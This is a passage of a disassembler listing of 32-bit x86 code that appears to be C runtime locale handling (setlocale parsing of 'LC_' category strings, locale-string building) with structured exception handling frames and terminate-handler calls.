loc_42462A:				; CODE XREF: sub_4244E0+D0j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_424690
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42A820
		add	esp, 8
		test	eax, eax
		jz	short loc_424686
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_42A850
		add	esp, 8
		test	eax, eax
		jz	short loc_424686
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_4247F0
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_4197C0
		add	esp, 0Ch
		jmp	short loc_42468B
; ---------------------------------------------------------------------------


loc_424686:				; CODE XREF: sub_4244E0+166j
					; sub_4244E0+178j
		call	sub_424940


loc_42468B:				; CODE XREF: sub_4244E0+1A4j
		jmp	loc_424733
; ---------------------------------------------------------------------------


loc_424690:				; CODE XREF: sub_4244E0+151j
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42A820
		add	esp, 8
		test	eax, eax
		jz	loc_42472E
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_42A850
		add	esp, 8
		test	eax, eax
		jz	short loc_42472E
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42A880
		add	esp, 4
		test	eax, eax
		jz	short loc_42472E
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_424705
		push	1
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4247F0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_419330
		jmp	short loc_42472C
; ---------------------------------------------------------------------------


loc_424705:				; CODE XREF: sub_4244E0+1F8j
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4247F0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_419320


loc_42472C:				; CODE XREF: sub_4244E0+223j
		jmp	short loc_424733
; ---------------------------------------------------------------------------


loc_42472E:				; CODE XREF: sub_4244E0+1C3j
					; sub_4244E0+1D9j ...
		call	sub_424940


loc_424733:				; CODE XREF: sub_4244E0:loc_4245A1j
					; sub_4244E0:loc_424625j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42474A
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_424890


loc_42474A:				; CODE XREF: sub_4244E0:loc_424526j
					; sub_4244E0+25Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4244E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424760	proc near		; CODE XREF: sub_423CD0+252p
					; sub_42441D+55p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4341B0
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jz	short loc_4247D5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_4247D5
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_419310
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4247D5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_424890


loc_4247D5:				; CODE XREF: sub_424760+2Aj
					; sub_424760+36j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4247F0	proc near		; CODE XREF: sub_4244E0+ADp
					; sub_4244E0+131p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jl	short loc_42482F
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+var_4]
		add	ecx, [eax+edx]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		mov	[ebp+var_4], eax


loc_42482F:				; CODE XREF: sub_4247F0+16j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4247F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424840	proc near		; CODE XREF: sub_419410+4Dp
					; sub_424150+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41977D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42487F
		mov	ecx, 2


loc_42487F:				; CODE XREF: sub_424840+38j
		push	ecx
		call	sub_41977D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_424840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424890	proc near		; CODE XREF: sub_423CD0:loc_423F63p
					; sub_424250:loc_424271p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424904 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4341C0
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		call	sub_41F970
		cmp	dword ptr [eax+60h], 0
		jz	short loc_4248F0
		mov	[ebp+var_4], 1
		call	sub_41F970
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], 0
		jmp	short loc_4248F0
; ---------------------------------------------------------------------------


loc_4248E0:				; DATA XREF: ___:004341D0o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4248E6:				; DATA XREF: ___:004341D4o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_4248F0:				; CODE XREF: sub_424890+36j
					; sub_424890+4Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4248FE
		jmp	short loc_424904
sub_424890	endp


; =============== S U B	R O U T	I N E =======================================



sub_4248FE	proc near		; CODE XREF: sub_424890+67p
					; DATA XREF: ___:004341C8o
		call	sub_42A8B0
		retn
sub_4248FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424890


loc_424904:				; CODE XREF: sub_424890+6Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424890
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41F970
		cmp	dword ptr [eax+64h], 0
		jz	short loc_424936
		call	sub_41F970
		call	dword ptr [eax+64h]


loc_424936:				; CODE XREF: ___:0042492Cj
		call	sub_424890
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424940	proc near		; CODE XREF: sub_419620+23p
					; sub_419620:loc_41968Dp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004249B0 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4341D8
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_444270, 0
		jz	short loc_42499C
		mov	[ebp+var_4], 1
		call	off_444270
		mov	[ebp+var_4], 0
		jmp	short loc_42499C
; ---------------------------------------------------------------------------


loc_42498C:				; DATA XREF: ___:004341E8o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_424992:				; DATA XREF: ___:004341ECo
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_42499C:				; CODE XREF: sub_424940+34j
					; sub_424940+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4249AA
		jmp	short loc_4249B0
sub_424940	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249AA	proc near		; CODE XREF: sub_424940+63p
		call	sub_424890
		retn
sub_4249AA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424940


loc_4249B0:				; CODE XREF: sub_424940+68j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424940
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0B0h
		cmp	dword ptr [ebp+8], 0
		jl	short loc_4249E5
		cmp	dword ptr [ebp+8], 5
		jle	short loc_4249EC


loc_4249E5:				; CODE XREF: ___:004249DDj
		xor	eax, eax
		jmp	loc_424DBB
; ---------------------------------------------------------------------------


loc_4249EC:				; CODE XREF: ___:004249E3j
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	dword ptr [ebp-4], 1
		mov	eax, dword_4DB458
		add	eax, 1
		mov	dword_4DB458, eax


loc_424A0A:				; CODE XREF: ___:00424A1Bj
		cmp	dword_4DB45C, 0
		jz	short loc_424A1D
		push	1
		call	near ptr 2690599h
		nop
		jmp	short loc_424A0A
; ---------------------------------------------------------------------------


loc_424A1D:				; CODE XREF: ___:00424A11j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_424A61
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_424A41
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_424DC0
		add	esp, 8
		mov	[ebp-0A8h], eax
		jmp	short loc_424A53
; ---------------------------------------------------------------------------


loc_424A41:				; CODE XREF: ___:00424A27j
		mov	eax, [ebp+8]
		imul	eax, 0Ch
		mov	ecx, dword_444384[eax]
		mov	[ebp-0A8h], ecx


loc_424A53:				; CODE XREF: ___:00424A3Fj
		mov	edx, [ebp-0A8h]
		mov	[ebp-8], edx
		jmp	loc_424D9B
; ---------------------------------------------------------------------------


loc_424A61:				; CODE XREF: ___:00424A21j
		mov	dword ptr [ebp-14h], 1
		mov	dword ptr [ebp-0Ch], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_424D93
		mov	eax, [ebp+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 4Ch
		jnz	loc_424CA4
		mov	edx, [ebp+0Ch]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 43h
		jnz	loc_424CA4
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Fh
		jnz	loc_424CA4
		mov	eax, [ebp+0Ch]
		mov	[ebp-9Ch], eax


loc_424AB1:				; CODE XREF: ___:00424C73j
		push	offset asc_434234 ; "=;"
		mov	ecx, [ebp-9Ch]
		push	ecx
		call	sub_42BDD0
		add	esp, 8
		mov	[ebp-0A0h], eax
		cmp	dword ptr [ebp-0A0h], 0
		jz	short loc_424AFD
		mov	edx, [ebp-0A0h]
		sub	edx, [ebp-9Ch]
		mov	[ebp-0A4h], edx
		cmp	dword ptr [ebp-0A4h], 0
		jz	short loc_424AFD
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jnz	short loc_424B23


loc_424AFD:				; CODE XREF: ___:00424AD2j
					; ___:00424AEDj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_424B1C
		push	13h
		call	sub_41B820
		add	esp, 4
		mov	edx, dword_4DB458
		sub	edx, 1
		mov	dword_4DB458, edx


loc_424B1C:				; CODE XREF: ___:00424B01j
		xor	eax, eax
		jmp	loc_424DBB
; ---------------------------------------------------------------------------


loc_424B23:				; CODE XREF: ___:00424AFBj
		mov	dword ptr [ebp-10h], 1
		jmp	short loc_424B35
; ---------------------------------------------------------------------------


loc_424B2C:				; CODE XREF: ___:loc_424B81j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_424B35:				; CODE XREF: ___:00424B2Aj
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_424B83
		mov	ecx, [ebp-0A4h]
		push	ecx
		mov	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, off_444380[eax]
		push	ecx
		call	sub_418480
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_424B81
		mov	edx, [ebp-10h]
		imul	edx, 0Ch
		mov	eax, off_444380[edx]
		push	eax
		call	sub_414BE0
		add	esp, 4
		cmp	[ebp-0A4h], eax
		jnz	short loc_424B81
		jmp	short loc_424B83
; ---------------------------------------------------------------------------


loc_424B81:				; CODE XREF: ___:00424B60j
					; ___:00424B7Dj
		jmp	short loc_424B2C
; ---------------------------------------------------------------------------


loc_424B83:				; CODE XREF: ___:00424B39j
					; ___:00424B7Fj
		push	offset asc_434230 ; ";"
		mov	ecx, [ebp-0A0h]
		add	ecx, 1
		mov	[ebp-0A0h], ecx
		mov	edx, [ebp-0A0h]
		push	edx
		call	sub_42BD90
		add	esp, 8
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jnz	short loc_424BE9
		mov	eax, [ebp-0A0h]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Bh
		jz	short loc_424BE9
		cmp	dword ptr [ebp-4], 0
		jz	short loc_424BE2
		push	13h
		call	sub_41B820
		add	esp, 4
		mov	edx, dword_4DB458
		sub	edx, 1
		mov	dword_4DB458, edx


loc_424BE2:				; CODE XREF: ___:00424BC7j
		xor	eax, eax
		jmp	loc_424DBB
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: ___:00424BB3j
					; ___:00424BC1j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_424C3A
		mov	eax, [ebp-0A4h]
		push	eax
		mov	ecx, [ebp-0A0h]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_417770
		add	esp, 0Ch
		mov	eax, [ebp-0A4h]
		mov	byte ptr [ebp+eax-98h],	0
		lea	ecx, [ebp-98h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_424DC0
		add	esp, 8
		test	eax, eax
		jz	short loc_424C3A
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_424C3A:				; CODE XREF: ___:00424BEDj
					; ___:00424C2Fj
		mov	ecx, [ebp-0A0h]
		add	ecx, [ebp-0A4h]
		mov	[ebp-9Ch], ecx


loc_424C4C:				; DATA XREF: ___:00444BC4o
					; ___:00444C0Co
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_424C68
		mov	ecx, [ebp-9Ch]
		add	ecx, 1
		mov	[ebp-9Ch], ecx


loc_424C68:				; CODE XREF: ___:00424C57j
		mov	edx, [ebp-9Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	loc_424AB1
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_424C8C
		call	sub_424F60
		mov	[ebp-0ACh], eax
		jmp	short loc_424C96
; ---------------------------------------------------------------------------


loc_424C8C:				; CODE XREF: ___:00424C7Dj
		mov	dword ptr [ebp-0ACh], 0


loc_424C96:				; CODE XREF: ___:00424C8Aj
		mov	ecx, [ebp-0ACh]
		mov	[ebp-8], ecx
		jmp	loc_424D91
; ---------------------------------------------------------------------------


loc_424CA4:				; CODE XREF: ___:00424A82j
					; ___:00424A92j ...
		mov	edx, [ebp+8]
		push	edx
		push	0
		push	0
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_425060
		add	esp, 14h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_424D91
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_424CDE
; ---------------------------------------------------------------------------


loc_424CD5:				; CODE XREF: ___:loc_424D3Ej
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_424CDE:				; CODE XREF: ___:00424CD3j
		cmp	dword ptr [ebp-10h], 5
		jg	short loc_424D40
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_424D3E
		mov	eax, [ebp-10h]
		imul	eax, 0Ch
		mov	ecx, dword_444384[eax]
		push	ecx
		lea	edx, [ebp-98h]
		push	edx
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jz	short loc_424D35
		lea	eax, [ebp-98h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_424DC0
		add	esp, 8
		test	eax, eax
		jz	short loc_424D2C
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx
		jmp	short loc_424D33
; ---------------------------------------------------------------------------


loc_424D2C:				; CODE XREF: ___:00424D1Fj
		mov	dword ptr [ebp-14h], 0


loc_424D33:				; CODE XREF: ___:00424D2Aj
		jmp	short loc_424D3E
; ---------------------------------------------------------------------------


loc_424D35:				; CODE XREF: ___:00424D08j
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax


loc_424D3E:				; CODE XREF: ___:00424CE8j
					; ___:loc_424D33j
		jmp	short loc_424CD5
; ---------------------------------------------------------------------------


loc_424D40:				; CODE XREF: ___:00424CE2j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_424D6B
		call	sub_424F60
		mov	[ebp-8], eax
		push	2
		mov	ecx, dword_444384
		push	ecx
		call	sub_415860
		add	esp, 8
		mov	dword_444384, 0
		jmp	short loc_424D91
; ---------------------------------------------------------------------------


loc_424D6B:				; CODE XREF: ___:00424D44j
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_424D7E
		call	sub_424F60
		mov	[ebp-0B0h], eax
		jmp	short loc_424D88
; ---------------------------------------------------------------------------


loc_424D7E:				; CODE XREF: ___:00424D6Fj
		mov	dword ptr [ebp-0B0h], 0


loc_424D88:				; CODE XREF: ___:00424D7Cj
		mov	edx, [ebp-0B0h]
		mov	[ebp-8], edx


loc_424D91:				; CODE XREF: ___:00424C9Fj
					; ___:00424CC6j ...
		jmp	short loc_424D9B
; ---------------------------------------------------------------------------


loc_424D93:				; CODE XREF: ___:00424A73j
		call	sub_424F60
		mov	[ebp-8], eax


loc_424D9B:				; CODE XREF: ___:00424A5Cj
					; ___:loc_424D91j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_424DB8
		push	13h
		call	sub_41B820
		add	esp, 4
		mov	eax, dword_4DB458
		sub	eax, 1
		mov	dword_4DB458, eax


loc_424DB8:				; CODE XREF: ___:00424D9Fj
		mov	eax, [ebp-8]


loc_424DBB:				; CODE XREF: ___:004249E7j
					; ___:00424B1Ej ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DC0	proc near		; CODE XREF: ___:00424A31p
					; ___:00424C25p ...

var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_A0]
		push	ecx
		lea	edx, [ebp+var_A8]
		push	edx
		lea	eax, [ebp+var_9C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_425060
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424DF9
		xor	eax, eax
		jmp	loc_424F4F
; ---------------------------------------------------------------------------


loc_424DF9:				; CODE XREF: sub_424DC0+30j
		push	132h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		lea	edx, [ebp+var_9C]
		push	edx
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_424E30
		xor	eax, eax
		jmp	loc_424F4F
; ---------------------------------------------------------------------------


loc_424E30:				; CODE XREF: sub_424DC0+67j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, dword_444384[eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]


loc_424E42:				; DATA XREF: ___:00444C34o
		mov	eax, dword_4DB1B0[edx*4]
		mov	[ebp+var_4], eax
		push	6
		mov	ecx, [ebp+arg_0]
		imul	ecx, 6
		add	ecx, offset dword_4DB3E4
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_4187B0
		add	esp, 0Ch
		mov	eax, dword_4DB1C8
		mov	[ebp+var_18], eax
		lea	ecx, [ebp+var_9C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4184C0
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	dword_444384[ecx], eax
		mov	edx, [ebp+var_A8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	dword_4DB1B0[eax*4], edx
		push	6
		lea	ecx, [ebp+var_A8]
		push	ecx
		mov	edx, [ebp+arg_0]
		imul	edx, 6
		add	edx, offset dword_4DB3E4
		push	edx
		call	sub_4187B0
		add	esp, 0Ch
		cmp	[ebp+arg_0], 2
		jnz	short loc_424ED3
		mov	eax, [ebp+var_A0]
		mov	dword_4DB1C8, eax


loc_424ED3:				; CODE XREF: sub_424DC0+106j
		cmp	[ebp+arg_0], 1
		jnz	short loc_424EE5
		mov	ecx, [ebp+var_A0]
		mov	dword_4DB1CC, ecx


loc_424EE5:				; CODE XREF: sub_424DC0+117j
		mov	edx, [ebp+arg_0]
		imul	edx, 0Ch
		call	off_444388[edx]
		test	eax, eax
		jz	short loc_424F2C
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_C]
		mov	dword_444384[eax], ecx
		push	2
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4DB1B0[eax*4], ecx
		mov	edx, [ebp+var_18]
		mov	dword_4DB1C8, edx
		xor	eax, eax
		jmp	short loc_424F4F
; ---------------------------------------------------------------------------


loc_424F2C:				; CODE XREF: sub_424DC0+133j
		cmp	[ebp+var_C], offset dword_444274
		jz	short loc_424F43
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_415860
		add	esp, 8


loc_424F43:				; CODE XREF: sub_424DC0+173j
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	eax, dword_444384[ecx]


loc_424F4F:				; CODE XREF: sub_424DC0+34j
					; sub_424DC0+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_424DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F60	proc near		; CODE XREF: ___:00424C7Fp
					; ___:00424D46p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 1
		cmp	dword_444384, 0
		jnz	short loc_424F94
		push	167h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		push	351h
		call	sub_414DD0
		add	esp, 10h
		mov	dword_444384, eax


loc_424F94:				; CODE XREF: sub_424F60+14j
		mov	eax, dword_444384
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1
		jmp	short loc_424FAE
; ---------------------------------------------------------------------------


loc_424FA5:				; CODE XREF: sub_424F60:loc_425057j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_424FAE:				; CODE XREF: sub_424F60+43j
		mov	edx, [ebp+var_4]
		imul	edx, 0Ch
		mov	eax, dword_444384[edx]
		push	eax
		push	offset asc_434244 ; "="
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, off_444380[ecx]
		push	edx
		push	3
		mov	eax, dword_444384
		push	eax
		call	sub_425200
		add	esp, 14h
		cmp	[ebp+var_4], 5
		jge	short loc_425029
		push	offset asc_434230 ; ";"
		mov	ecx, dword_444384
		push	ecx
		call	sub_4184D0
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, 1
		imul	edx, 0Ch
		mov	eax, dword_444384[edx]
		push	eax
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, dword_444384[ecx]
		push	edx
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jz	short loc_425027
		mov	[ebp+var_8], 0


loc_425027:				; CODE XREF: sub_424F60+BEj
		jmp	short loc_425057
; ---------------------------------------------------------------------------


loc_425029:				; CODE XREF: sub_424F60+81j
		cmp	[ebp+var_8], 0
		jnz	short loc_425036
		mov	eax, dword_444384
		jmp	short loc_42505C
; ---------------------------------------------------------------------------


loc_425036:				; CODE XREF: sub_424F60+CDj
		push	2
		mov	eax, dword_444384
		push	eax
		call	sub_415860
		add	esp, 8
		mov	dword_444384, 0
		mov	eax, off_44439C
		jmp	short loc_42505C
; ---------------------------------------------------------------------------


loc_425057:				; CODE XREF: sub_424F60:loc_425027j
		jmp	loc_424FA5
; ---------------------------------------------------------------------------


loc_42505C:				; CODE XREF: sub_424F60+D4j
					; sub_424F60+F5j
		mov	esp, ebp
		pop	ebp
		retn
sub_424F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425060	proc near		; CODE XREF: ___:00424CB7p
					; sub_424DC0+26p

var_88		= byte ptr -88h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		cmp	[ebp+arg_0], 0
		jnz	short loc_425076
		xor	eax, eax
		jmp	loc_4251E0
; ---------------------------------------------------------------------------


loc_425076:				; CODE XREF: sub_425060+Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 43h
		jnz	short loc_4250D0
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_4250D0
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	43h
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+1], 0
		cmp	[ebp+arg_8], 0
		jz	short loc_4250B9
		mov	eax, [ebp+arg_8]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	word ptr [ecx+2], 0
		mov	edx, [ebp+arg_8]
		mov	word ptr [edx+4], 0


loc_4250B9:				; CODE XREF: sub_425060+3Dj
		cmp	[ebp+arg_C], 0
		jz	short loc_4250C8
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_4250C8:				; CODE XREF: sub_425060+5Dj
		mov	eax, [ebp+arg_4]
		jmp	loc_4251E0
; ---------------------------------------------------------------------------


loc_4250D0:				; CODE XREF: sub_425060+1Fj
					; sub_425060+2Aj
